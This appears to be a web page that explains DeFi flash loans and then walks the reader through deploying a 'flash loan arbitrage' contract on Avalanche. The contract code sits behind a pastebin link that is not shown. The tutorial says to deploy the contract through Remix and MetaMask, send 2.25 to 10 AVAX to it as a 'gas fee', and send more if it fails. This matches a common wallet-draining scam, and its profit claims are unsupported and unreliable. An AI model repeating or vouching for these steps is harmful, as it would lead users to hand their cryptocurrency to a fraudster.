What Are Flash Loans?
Flash loans are uncollateralized loans within the DeFi ecosystem.
Unlike traditional loans, flash loans don’t require upfront collateral.
Borrowers can obtain and return funds within a single blockchain transaction.
The entire process happens instantly, thanks to smart contracts.
How Do They Work?
A user initiates a flash loan by borrowing funds.
The borrowed amount is used for arbitrage, trading, or other purposes.
Within the same transaction, the borrower must repay the loan along with any fees.
If the repayment fails, the entire transaction is reverted, ensuring no net loss for the lender.
Pros and Cons:
Pros:
Flash loans provide liquidity and flexibility.
They enable complex strategies without tying up collateral.
Traders can exploit market inefficiencies.
Cons:
Vulnerable protocols can be exploited, leading to significant losses.
Some view them as risky due to their instant nature.
In summary, flash loans offer both innovation and risk. While they empower DeFi users, their misuse can have serious consequences for poorly protected protocols12. 🚀💡
A flash loan has to be borrowed and repaid within the same blockchain transaction.
Step By Step Tutorial for Flash Loan:
1. Get the Metamask Extension for your browser
2. Open ??https://remix.ethereum.org/ from within your browser.
3. Click on File Explorers and click “Create New File “.
4. Name the file avaxArbitrage.sol and paste the Flash Loan Smart Contract Code link below.
?? Smart Contract Code Link –
– https://pastebin.com/raw/13YHmT35
5. Click on Deploy & Run transactions and set “ENVIRONMENT” to (Injected Web3) OR (Injected Provider – MetaMask).
6. Connect your MetaMask wallet.
7. Click on the “Solidity Compiler” and set the compiler version to 0.5.0
8. Click on the Solidity Compiler and then click the blue button “Compile avaxArbitrage.sol”
9. Wait for the code to compile.
10. Click the arrow down on the “CONTRACT” and select “InitiateFlashLoan – avaxArbitrage.sol”
11. Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
12. ??On “_TOKENNAME” MyToken
13. ??On “_TOKENSYMBOL” TOK
14. ??On “_LOANAMOUNT” 200
15. Click Transact and confirm the transaction in MetaMask.
16. Wait for the transaction to confirm.
17. Copy the address of the newly deployed contract.
18. Send AVAX to the deployed contract to initiate the swap 2.25 AVAX (10 AVAX up is better as you will get a bigger amount in each swap)
?? NOTE: UPDATED GAS AMOUNT FEE REQUIREMENT: 2.25 AVAX – 10 AVAX is required to perform arbitrage successfully depending on gwei.
19. Wait for the transaction to confirm.
20. Now, Click “flashloan” (red box) to execute the Flash Loan.
21. Confirm the transaction in MetaMask and wait for the confirmation.
22. You can now check your wallet
Note: if it doesn’t work with 2.25 AVAX try to send another 2.25 AVAX (10 is better), because fees may be different from day to day. (2.25 AVAX for each 200 AVAX you are borrowing)
Avoid using very low amounts as contract may fail below 2.25 AVAX
Make sure to transfer your Funds out to another wallet when you’re done.
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